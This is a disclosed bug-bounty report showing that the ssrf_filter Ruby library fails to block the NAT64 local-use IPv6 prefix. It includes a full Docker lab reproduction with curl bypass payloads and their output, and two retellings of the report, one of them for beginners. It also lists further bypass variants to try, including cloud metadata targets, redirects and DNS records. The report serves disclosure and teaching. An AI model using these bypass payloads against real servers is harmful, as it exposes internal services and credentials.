Skip to content
SSRF Disclosed report Intermediate

SSRF Filter Bypass via Unblocked NAT64 Local-Use IPv6 Prefix (64:ff9b:1::/48)

The ssrf_filter library blocks the well-known NAT64 prefix but not the NAT64 local-use prefix, so addresses in that range are treated as public. An attacker could use such an address to make the server fetch internal-equivalent destinations, bypassing the private-IP guard.

tipsen Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Fixed in 2 days
  • Disclosed after 2 days

Summary:

ssrf_filter v1.3.0 blocks 64:ff9b::/96, but doesnt block the NAT64 local-use prefix 64:ff9b:1::/48, allowing those addresses to be treated as public. This enables SSRF requests through /fetch to internal-equivalent targets encoded under that prefix when routable in the deployment environment.

Steps To Reproduce:

  1. Like previous report, start our lab first :) (I'm using the library in Docker)
  2. Start a second app container with NET_ADMIN so we can add a test IPv6 route/address.
Bash
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
46929c09894e83249c8143c192a727f2583b116c2be0ce70e1528773fb3b388f
  1. Install iproute2 in that container and add NAT64 local-use address 64:ff9b:1::7f00:1 to loopback.
Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet6 64:ff9b:1::7f00:1/128 scope global
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever
  1. Start a local HTTP service bound to that NAT64 local-use address.
Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
  sock = server.accept
  begin
    while (line = sock.gets)
      break if line == "\r\n"
    end
    body = "NAT64_PREFIX_BYPASS_DEMO"
    sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
  ensure
    sock.close rescue nil
  end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'
  1. Verify the service is reachable on that address from inside the same container.
Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close

NAT64_PREFIX_BYPASS_DEMO
  1. Control check: known blocked NAT64 well-known prefix.
Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%
  1. Bypass check: unblocked NAT64 local-use prefix.
Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%

Supporting Material/References:

Gonna put the root cause here to make checking easier :)

  1. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L47-L59: IPV6_BLACKLIST includes 64:ff9b::/96 but doesn't include 64:ff9b:1::/48 (NAT64 local-use prefix), leaving that range unclassified as private/unsafe.
  2. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L139-L143: unsafe_ip_address? decides IPv6 safety only by membership in IPV6_BLACKLIST. Because 64:ff9b:1::/48 is missing, those addresses are treated as safe/public.
  3. https://github.com/arkadiyt/ssrf_filter/blob/main/lib/ssrf_filter/ssrf_filter.rb#L126-L127: The resolver output is filtered with unsafe_ip_address? and unblocked NAT64 local-use addresses remain in public_addresses, so the private-IP guard is bypassed.

Impact

An attacker can bypass SSRF protections and force server-side requests to restricted/internal destinations using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable additional internal network reconnaissance or pivoting.

The original report as published on HackerOne, by tipsen. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

ssrf_filter is a Ruby library, published at https://github.com/arkadiyt/ssrf_filter, that applications use to guard outbound HTTP requests against Server-Side Request Forgery. The version in scope is v1.3.0. The library classifies resolved IP addresses as public or private and refuses to fetch a URL whose hostname resolves only to private addresses.

The report concerns the library's handling of IPv6 addresses in the NAT64 space. NAT64 lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address in an IPv6 address. The well-known prefix for this is 64:ff9b::/96, and the library blocks it. A second, local-use prefix exists, 64:ff9b:1::/48, and the library does not block it. Because unsafe_ip_address? decides IPv6 safety purely by membership in IPV6_BLACKLIST, addresses under the local-use prefix are treated as public and the fetch proceeds.

The report demonstrates this against a lab application exposing a /fetch endpoint that uses the library.

Setup

The researcher reuses a lab from a previous report: the library running inside Docker, with an application container named ssrf_filter_lab serving the /fetch endpoint on port 4567, published on the host as port 4568. A second container is started on the same Docker network with the NET_ADMIN capability so that an IPv6 address and route can be added inside it. The image used for the second container is bbp-ssrf-ssrf-app, running ruby app.rb.

Preconditions for the demonstration: the ability to add an IPv6 address to a loopback interface inside a container, and a deployment environment in which 64:ff9b:1::/48 addresses are routable. The report notes explicitly that the bypass applies "when routable in the deployment environment".

Finding it

The starting point is the library's IPv6 blacklist. IPV6_BLACKLIST contains 64:ff9b::/96, the NAT64 well-known prefix, but not 64:ff9b:1::/48, the NAT64 local-use prefix. Since unsafe_ip_address? treats an IPv6 address as unsafe only if it appears in that blacklist, any address under 64:ff9b:1::/48 is classified as safe and public. The resolver output is filtered with unsafe_ip_address?, so unblocked NAT64 local-use addresses stay in public_addresses and the private-IP guard never fires.

The practical consequence is that an IPv4 destination can be encoded inside a 64:ff9b:1::/48 address and passed to /fetch as an IPv6 literal. If the environment routes that prefix, the request reaches the embedded IPv4 target while the library sees a public address.

Exploitation

Step 1: start the lab

The researcher starts the existing lab as in the previous report, using the library in Docker. The application container ssrf_filter_lab is the one whose /fetch endpoint is tested.

Step 2: start a second container with NET_ADMIN

A second container is created on the same Docker network, with the NET_ADMIN capability, so that IPv6 addresses can be configured inside it. The network name is read from the existing lab container and the new container is started on it, publishing container port 4567 as host port 4568.

Bash
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
[redacted]

The docker inspect call extracts the network name from the lab container. The docker run line starts the second application instance with NET_ADMIN and attaches it to the same network, so both containers share an address space in which the test prefix can be made reachable.

Step 3: add the NAT64 local-use address to loopback

iproute2 is installed in the new container and the address 64:ff9b:1::7f00:1 is added to the loopback interface. The address 64:ff9b:1::7f00:1 is added to the loopback interface.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet6 64:ff9b:1::7f00:1/128 scope global
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever

The output confirms that 64:ff9b:1::7f00:1/128 is present on lo with global scope, alongside the usual ::1.

Step 4: start a local HTTP service on that address

A small Ruby TCP server is written to /tmp/vuln_server_nat64.rb and started in the background. It binds to 64:ff9b:1::7f00:1 on port 18081 and answers every request with a fixed body.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
  sock = server.accept
  begin
    while (line = sock.gets)
      break if line == "\r\n"
    end
    body = "NAT64_PREFIX_BYPASS_DEMO"
    sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
  ensure
    sock.close rescue nil
  end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'

The server reads request headers until the blank line, then writes a 200 OK response with Content-Type: text/plain, Content-Length: 24, Connection: close, and the body NAT64_PREFIX_BYPASS_DEMO. This stands in for an internal service that should not be reachable through the SSRF filter.

Step 5: verify the service is reachable

Before testing the filter, the researcher confirms from inside the same container that the service answers on the NAT64 local-use address.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close

NAT64_PREFIX_BYPASS_DEMO

The response matches what the server writes, so the address is live and the service is reachable.

Step 6: control check against the blocked well-known prefix

As a control, the same service is requested through /fetch using the well-known NAT64 prefix 64:ff9b::/96, which the library blocks.

Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%

The library returns status: blocked with SsrfFilter::PrivateIPAddress and the message that the hostname has no public IP addresses. This confirms the filter is active and that the well-known prefix is classified as private.

Step 7: bypass check against the local-use prefix

The same request is repeated with the local-use prefix 64:ff9b:1::/48.

Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%

This time the library returns status: allowed and the full response from the internal service, including the body NAT64_PREFIX_BYPASS_DEMO. The filter treated the address as public and fetched it.

Root cause

The report lists three code locations that together produce the bypass.

  1. IPV6_BLACKLIST in lib/ssrf_filter/ssrf_filter.rb (lines 47 to 59) includes 64:ff9b::/96 but not 64:ff9b:1::/48, the NAT64 local-use prefix, leaving that range unclassified as private or unsafe.
  2. unsafe_ip_address? (lines 139 to 143) decides IPv6 safety only by membership in IPV6_BLACKLIST. Because 64:ff9b:1::/48 is missing, those addresses are treated as safe and public.
  3. The resolver output (lines 126 to 127) is filtered with unsafe_ip_address?, and unblocked NAT64 local-use addresses remain in public_addresses, so the private-IP guard is bypassed.

For IPv6, safety is decided by membership in IPV6_BLACKLIST, so a prefix that is not enumerated is treated as public. The well-known NAT64 prefix was enumerated; the local-use prefix was not.

Impact

An attacker can bypass the SSRF protection and force server-side requests to restricted or internal destinations by using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable further internal network reconnaissance or pivoting. The bypass depends on the deployment environment routing the local-use prefix, as the report states; where the prefix is not routable, the encoded destination is not reachable.

Fix

The report does not describe a fix or a change made to the library. A fix would need to add 64:ff9b:1::/48 to IPV6_BLACKLIST so that unsafe_ip_address? classifies those addresses as unsafe.

  1. Other special-purpose IPv6 prefixes that may be missing from a blacklist: send /fetch requests with IPv6 literals under prefixes such as 2001:db8::/32, 2001:2::/48, 2001:10::/28, 2001:20::/28, 100::/64 and 5f00::/16. A positive result is status: allowed where the address should be classified as non-public.
  2. IPv4-mapped and IPv4-compatible forms: try ::ffff:[redacted], ::[redacted] and other encodings of loopback or RFC 1918 addresses. A positive result is a fetch that reaches the internal target instead of returning SsrfFilter::PrivateIPAddress.
  3. NAT64 with different embedded IPv4 targets: replace 7f00:1 with the hex form of an internal address such as [redacted] (0a00:1) or a cloud metadata address, and check whether the response body comes from that target.
  4. Redirect chains: have an allowed public URL redirect to a 64:ff9b:1::/48 literal and see whether the redirect target is re-validated. A positive result is the internal body being returned after the redirect.
  5. DNS-based bypass: point a hostname at a 64:ff9b:1::/48 address and request it through /fetch. A positive result is status: allowed with the internal response, showing the resolver path is affected as well as literal addresses.
  6. Mixed A and AAAA records: return one public A record and one 64:ff9b:1::/48 AAAA record and observe which address the library connects to. A positive result is a connection to the internal-equivalent address while the public record keeps the hostname classified as safe.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A small piece of software called ssrf_filter is meant to stop a web application from being tricked into making requests to places it should not reach. The researcher found that one kind of IPv6 address slips past that protection, so a request that should be refused is allowed through instead.

To follow the story you only need a few ideas:

  • A library is a bundle of ready-made code that other programs reuse instead of writing everything themselves. ssrf_filter is a library written in the Ruby programming language.
  • A server is a computer (or a program on it) that answers requests from other computers. When you open a website, your browser asks a server for a page and the server sends it back.
  • An IP address is the number that identifies a computer on a network, a bit like a postal address for data. The older style, IPv4, looks like [redacted]. The newer style, IPv6, is longer and uses colons, like 64:ff9b::7f00:1.
  • Loopback is a special address that always means "this same machine". In IPv4 it is [redacted]; in IPv6 it is ::1. Contacting loopback is like talking to yourself: the traffic never leaves the computer.
  • SSRF (Server-Side Request Forgery) is a class of bug where an attacker makes a server send a request on the attacker's behalf. If the server can reach internal machines that outsiders cannot, the attacker can use the server as a middleman to poke at them.
  • A filter here is the check inside the library that looks at where a request is going and refuses it if the destination is private or internal.

ssrf_filter works by looking at the address a URL points to. If that address is a private one (an internal address that outsiders should not reach), the library refuses to make the request. The researcher found that one family of IPv6 addresses is not on the library's list of private addresses, so the library treats it as a normal public address and lets the request through.

That family is called NAT64. NAT64 is a translation trick: it lets a computer that only speaks the newer IPv6 reach older IPv4 destinations by packing the IPv4 address inside an IPv6 address. There are two standard prefixes (think of a prefix as the fixed beginning of an address, like a postcode area) used for this:

  • 64:ff9b::/96, the "well-known" prefix, which the library does block.
  • 64:ff9b:1::/48, the "local-use" prefix, which the library does not block.

The report demonstrates the gap against a small test application that exposes a /fetch endpoint. An endpoint is simply a specific URL on a server that does one job; /fetch is the part of the application that takes a URL and fetches it using the library.

Context

ssrf_filter is a Ruby library, published at https://github.com/arkadiyt/ssrf_filter, that applications use to guard outbound HTTP requests against Server-Side Request Forgery. The version in scope is v1.3.0. The library classifies resolved IP addresses as public or private and refuses to fetch a URL whose hostname resolves only to private addresses.

In plain terms: when an application wants to fetch a URL on a user's behalf, it hands the URL to this library first. The library looks up the address behind the hostname (the resolver does that lookup, turning a name like example.com into an IP address) and decides whether that address is public or private. If it is private, the fetch is refused.

The report concerns the library's handling of IPv6 addresses in the NAT64 space. NAT64 lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address in an IPv6 address. The well-known prefix for this is 64:ff9b::/96, and the library blocks it. A second, local-use prefix exists, 64:ff9b:1::/48, and the library does not block it. Because unsafe_ip_address? decides IPv6 safety purely by membership in IPV6_BLACKLIST, addresses under the local-use prefix are treated as public and the fetch proceeds.

Two names to keep in mind:

  • IPV6_BLACKLIST is a list inside the library of IPv6 address ranges that are considered unsafe. Anything not on the list is assumed safe.
  • unsafe_ip_address? is the function that checks an address against that list. The question mark at the end is a Ruby convention meaning "this returns true or false".

The report demonstrates this against a lab application exposing a /fetch endpoint that uses the library.

Setup

The researcher reuses a lab from a previous report: the library running inside Docker, with an application container named ssrf_filter_lab serving the /fetch endpoint on port 4567, published on the host as port 4568. A second container is started on the same Docker network with the NET_ADMIN capability so that an IPv6 address and route can be added inside it. The image used for the second container is bbp-ssrf-ssrf-app, running ruby app.rb.

A few of those words need unpacking:

  • Docker is a tool that runs programs in isolated boxes called containers. A container is like a small computer inside your computer, with its own network settings, kept separate from everything else.
  • A port is a numbered door on a computer. One machine can run many services, each listening on a different port. Port 4567 is the door the application listens on inside its container; port 4568 is the door on the host machine that forwards to it, so you can reach the container from outside.
  • NET_ADMIN is a permission that lets a program change network settings, such as adding an IP address to a network interface. Normally a container is not allowed to do that.
  • A network interface is the part of the system that sends and receives traffic. lo is the loopback interface, the one that talks to the same machine.

Preconditions for the demonstration: the ability to add an IPv6 address to a loopback interface inside a container, and a deployment environment in which 64:ff9b:1::/48 addresses are routable. The report notes explicitly that the bypass applies "when routable in the deployment environment".

"Routable" means the network knows how to deliver traffic to that address. If nothing on the network knows where 64:ff9b:1::/48 should go, the request simply fails; the bypass only matters where that prefix actually leads somewhere.

Finding it

The starting point is the library's IPv6 blacklist. IPV6_BLACKLIST contains 64:ff9b::/96, the NAT64 well-known prefix, but not 64:ff9b:1::/48, the NAT64 local-use prefix. Since unsafe_ip_address? treats an IPv6 address as unsafe only if it appears in that blacklist, any address under 64:ff9b:1::/48 is classified as safe and public. The resolver output is filtered with unsafe_ip_address?, so unblocked NAT64 local-use addresses stay in public_addresses and the private-IP guard never fires.

public_addresses is the list of addresses the library is willing to connect to. If an address is not removed from that list, the fetch goes ahead.

The practical consequence is that an IPv4 destination can be encoded inside a 64:ff9b:1::/48 address and passed to /fetch as an IPv6 literal. If the environment routes that prefix, the request reaches the embedded IPv4 target while the library sees a public address.

An IPv6 literal is an IPv6 address written directly in a URL, wrapped in square brackets, for example http://[64:ff9b:1::7f00:1]:18081. The square brackets are needed because colons already have a meaning in URLs (they separate the host from the port).

Exploitation

Step 1: start the lab

The researcher starts the existing lab as in the previous report, using the library in Docker. The application container ssrf_filter_lab is the one whose /fetch endpoint is tested.

This is the target under test: a small web application that will fetch whatever URL you give it, after passing it through the library's safety check.

Step 2: start a second container with NET_ADMIN

A second container is created on the same Docker network, with the NET_ADMIN capability, so that IPv6 addresses can be configured inside it. The network name is read from the existing lab container and the new container is started on it, publishing container port 4567 as host port 4568.

Bash
TIPSEN:~:% NET=$(docker inspect ssrf_filter_lab --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
TIPSEN:~:% docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true
ssrf_filter_lab_netadmin
TIPSEN:~:% docker run -d --name ssrf_filter_lab_netadmin --network "$NET" --cap-add NET_ADMIN -p 4568:4567 bbp-ssrf-ssrf-app ruby app.rb
[redacted]

Line by line:

  1. NET=$(docker inspect ...) asks Docker for details about the existing lab container and pulls out the name of the network it is attached to, storing it in a shell variable called NET. The --format part is a template that walks the container's list of networks and prints each network name.
  2. docker rm -f ssrf_filter_lab_netadmin 2>/dev/null || true removes any leftover container from an earlier attempt. The 2>/dev/null throws away error messages, and || true makes sure the command does not stop the script if there was nothing to remove. The stray line ssrf_filter_lab_netadmin below it is just the name echoed back in the terminal output.
  3. docker run -d ... starts a new container in the background (-d). It is named ssrf_filter_lab_netadmin, attached to the same network (--network "$NET"), given the network-admin permission (--cap-add NET_ADMIN), and its internal port 4567 is published on the host as 4568 (-p 4568:4567). It runs the image bbp-ssrf-ssrf-app with the command ruby app.rb, which starts the application.
  4. The long hex string is the ID Docker assigns to the new container.

The docker inspect call extracts the network name from the lab container. The docker run line starts the second application instance with NET_ADMIN and attaches it to the same network, so both containers share an address space in which the test prefix can be made reachable.

Step 3: add the NAT64 local-use address to loopback

iproute2 is installed in the new container and the address 64:ff9b:1::7f00:1 is added to the loopback interface. The address 64:ff9b:1::7f00:1 is added to the loopback interface.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo || true && ip -6 addr show dev lo'
...
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet6 64:ff9b:1::7f00:1/128 scope global
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever

Line by line:

  1. docker exec ... sh -lc '...' runs a command inside the running container. sh -lc means "start a shell and run this string as a command".
  2. apt-get update -qq && apt-get install -y -qq iproute2 refreshes the package list and installs iproute2, the toolkit that contains the ip command. The -qq flags keep the output quiet, and -y answers yes to any prompt.
  3. ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo adds that IPv6 address to the loopback interface. The /128 means "this exact single address". The || true means "carry on even if it is already there".
  4. ip -6 addr show dev lo prints the addresses on the loopback interface so you can see the result.
  5. The output shows inet6 64:ff9b:1::7f00:1/128 scope global on lo, next to the usual ::1.

The output confirms that 64:ff9b:1::7f00:1/128 is present on lo with global scope, alongside the usual ::1.

Step 4: start a local HTTP service on that address

A small Ruby TCP server is written to /tmp/vuln_server_nat64.rb and started in the background. It binds to 64:ff9b:1::7f00:1 on port 18081 and answers every request with a fixed body.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'cat > /tmp/vuln_server_nat64.rb << "RUBY"
require "socket"
server = TCPServer.new("64:ff9b:1::7f00:1", 18081)
loop do
  sock = server.accept
  begin
    while (line = sock.gets)
      break if line == "\r\n"
    end
    body = "NAT64_PREFIX_BYPASS_DEMO"
    sock.write("HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: #{body.bytesize}\r\nConnection: close\r\n\r\n#{body}")
  ensure
    sock.close rescue nil
  end
end
RUBY
nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 &'

Line by line:

  1. cat > /tmp/vuln_server_nat64.rb << "RUBY" ... RUBY writes everything between the two RUBY markers into a file at /tmp/vuln_server_nat64.rb. This is a heredoc, a way of feeding a block of text to a command.
  2. require "socket" loads Ruby's built-in networking code.
  3. server = TCPServer.new("64:ff9b:1::7f00:1", 18081) opens a listening socket on that address and port. A socket is the program's handle on a network connection; a TCP server is a program that waits for connections on a port.
  4. loop do ... end repeats forever, handling one connection at a time.
  5. sock = server.accept waits for the next incoming connection and hands it back as sock.
  6. while (line = sock.gets) ... break if line == "\r\n" reads the request line by line until it hits the blank line that marks the end of the HTTP headers. HTTP is the language browsers and servers use to talk; a request is a few header lines followed by a blank line, then optionally a body.
  7. body = "NAT64_PREFIX_BYPASS_DEMO" sets the fixed reply text.
  8. sock.write("HTTP/1.1 200 OK\r\n...") writes a complete HTTP response: a 200 OK status line, a Content-Type header saying the body is plain text, a Content-Length header giving the body size, a Connection: close header saying the connection will be closed afterwards, then a blank line, then the body.
  9. ensure sock.close rescue nil closes the connection when done, ignoring any error.
  10. nohup ruby /tmp/vuln_server_nat64.rb >/tmp/vuln_server_nat64.log 2>&1 & starts the script in the background (&), keeps it running after the shell exits (nohup), and sends its output to a log file.

The server reads request headers until the blank line, then writes a 200 OK response with Content-Type: text/plain, Content-Length: 24, Connection: close, and the body NAT64_PREFIX_BYPASS_DEMO. This stands in for an internal service that should not be reachable through the SSRF filter.

Step 5: verify the service is reachable

Before testing the filter, the researcher confirms from inside the same container that the service answers on the NAT64 local-use address.

Bash
TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'ruby -rsocket -e "s=TCPSocket.new(\"64:ff9b:1::7f00:1\",18081); s.write(\"GET / HTTP/1.0\r\nHost: x\r\n\r\n\"); puts s.read; s.close"'
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 24
Connection: close

NAT64_PREFIX_BYPASS_DEMO

Line by line:

  1. ruby -rsocket -e "..." runs a one-line Ruby program. -rsocket loads the networking code first, and -e says "the next string is the program".
  2. s=TCPSocket.new("64:ff9b:1::7f00:1",18081) opens a connection to the test server.
  3. s.write("GET / HTTP/1.0\r\nHost: x\r\n\r\n") sends a minimal HTTP request: the method GET, the path /, the HTTP version, a Host header, and the blank line that ends the headers.
  4. puts s.read prints whatever the server sends back, and s.close closes the connection.
  5. The output is the same response the server was written to produce.

The response matches what the server writes, so the address is live and the service is reachable.

Step 6: control check against the blocked well-known prefix

As a control, the same service is requested through /fetch using the well-known NAT64 prefix 64:ff9b::/96, which the library blocks.

A control is a comparison case where you already know the expected result. If the control behaves as expected, you can trust that the test setup is working and that a different result in the next step really means something.

Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b::7f00:1]:18081'
{"status":"blocked","error":"SsrfFilter::PrivateIPAddress","message":"Hostname '64:ff9b::7f00:1' has no public ip addresses"}%

Line by line:

  1. curl is a command-line tool for making HTTP requests. -sS keeps it quiet but still shows errors.
  2. The URL points at the lab application on localhost:4568 (the host port that forwards into the container) and asks its /fetch endpoint to fetch http://[64:ff9b::7f00:1]:18081. The ?url= part is a query parameter, a value passed in the URL after a question mark.
  3. The reply is JSON, a text format for structured data. It says status: blocked, the error is SsrfFilter::PrivateIPAddress, and the message says the hostname has no public IP addresses.
  4. The trailing % is just the shell prompt marker, not part of the response.

The library returns status: blocked with SsrfFilter::PrivateIPAddress and the message that the hostname has no public IP addresses. This confirms the filter is active and that the well-known prefix is classified as private.

Step 7: bypass check against the local-use prefix

The same request is repeated with the local-use prefix 64:ff9b:1::/48.

Bash
TIPSEN:~:% curl -sS 'http://localhost:4568/fetch?url=http://[64:ff9b:1::7f00:1]:18081'
{"status":"allowed","code":"200","headers":{"content-type":"text/plain","content-length":"24","connection":"close"},"body":"NAT64_PREFIX_BYPASS_DEMO"}%

Line by line:

  1. The only change from the control is the address: 64:ff9b:1::7f00:1 instead of 64:ff9b::7f00:1. The extra :1 in the prefix is the whole difference.
  2. The reply now says status: allowed, with code: 200, the same headers the internal server sent, and the body NAT64_PREFIX_BYPASS_DEMO.

This time the library returns status: allowed and the full response from the internal service, including the body NAT64_PREFIX_BYPASS_DEMO. The filter treated the address as public and fetched it.

Root cause

The report lists three code locations that together produce the bypass.

  1. IPV6_BLACKLIST in lib/ssrf_filter/ssrf_filter.rb (lines 47 to 59) includes 64:ff9b::/96 but not 64:ff9b:1::/48, the NAT64 local-use prefix, leaving that range unclassified as private or unsafe.
  2. unsafe_ip_address? (lines 139 to 143) decides IPv6 safety only by membership in IPV6_BLACKLIST. Because 64:ff9b:1::/48 is missing, those addresses are treated as safe and public.
  3. The resolver output (lines 126 to 127) is filtered with unsafe_ip_address?, and unblocked NAT64 local-use addresses remain in public_addresses, so the private-IP guard is bypassed.

For IPv6, safety is decided by membership in IPV6_BLACKLIST, so a prefix that is not enumerated is treated as public. The well-known NAT64 prefix was enumerated; the local-use prefix was not.

A blacklist is a list of things to refuse; anything not on it is allowed. An allowlist is the opposite: a list of things to permit, and anything not on it is refused. A blacklist only works if you can think of every bad case in advance, which is why missing one entry causes a gap like this one.

Impact

An attacker can bypass the SSRF protection and force server-side requests to restricted or internal destinations by using 64:ff9b:1::/48 addresses. This may expose sensitive internal services or metadata and can enable further internal network reconnaissance or pivoting. The bypass depends on the deployment environment routing the local-use prefix, as the report states; where the prefix is not routable, the encoded destination is not reachable.

"Metadata" here means the small internal service that cloud providers expose to their own machines, which can hand out credentials and configuration. "Pivoting" means using one compromised machine as a stepping stone to reach others.

Fix

The report does not describe a fix or a change made to the library. A fix would need to add 64:ff9b:1::/48 to IPV6_BLACKLIST so that unsafe_ip_address? classifies those addresses as unsafe.

  1. Other special-purpose IPv6 prefixes that may be missing from a blacklist: send /fetch requests with IPv6 literals under prefixes such as 2001:db8::/32, 2001:2::/48, 2001:10::/28, 2001:20::/28, 100::/64 and 5f00::/16. A positive result is status: allowed where the address should be classified as non-public.
  2. IPv4-mapped and IPv4-compatible forms: try ::ffff:[redacted], ::[redacted] and other encodings of loopback or RFC 1918 addresses. A positive result is a fetch that reaches the internal target instead of returning SsrfFilter::PrivateIPAddress.
  3. NAT64 with different embedded IPv4 targets: replace 7f00:1 with the hex form of an internal address such as [redacted] (0a00:1) or a cloud metadata address, and check whether the response body comes from that target.
  4. Redirect chains: have an allowed public URL redirect to a 64:ff9b:1::/48 literal and see whether the redirect target is re-validated. A positive result is the internal body being returned after the redirect.
  5. DNS-based bypass: point a hostname at a 64:ff9b:1::/48 address and request it through /fetch. A positive result is status: allowed with the internal response, showing the resolver path is affected as well as literal addresses.
  6. Mixed A and AAAA records: return one public A record and one 64:ff9b:1::/48 AAAA record and observe which address the library connects to. A positive result is a connection to the internal-equivalent address while the public record keeps the hostname classified as safe.

A few terms in that list:

  • RFC 1918 addresses are the standard private IPv4 ranges used inside home and office networks, such as [redacted] and [redacted].
  • A redirect is a server telling the client "the thing you want is over there", with a new address to fetch.
  • DNS is the phone book of the internet, turning names into IP addresses. An A record maps a name to an IPv4 address; an AAAA record maps a name to an IPv6 address.

Glossary

  • API: a defined way for one program to ask another program to do something, usually over the network.
  • Blacklist: a list of things to refuse; anything not on the list is allowed.
  • Allowlist: a list of things to permit; anything not on the list is refused.
  • Container: an isolated box in which a program runs, with its own network and filesystem, managed by a tool such as Docker.
  • Control: a comparison test where the expected result is already known, used to show the setup is working.
  • DNS: the system that turns names like example.com into IP addresses.
  • A record: a DNS entry mapping a name to an IPv4 address.
  • AAAA record: a DNS entry mapping a name to an IPv6 address.
  • Docker: a tool for running programs in containers.
  • Endpoint: a specific URL on a server that performs one job, such as /fetch.
  • Filter: a check that inspects something and refuses it if it fails the rules.
  • Heredoc: a way of feeding a block of text to a command in a shell script.
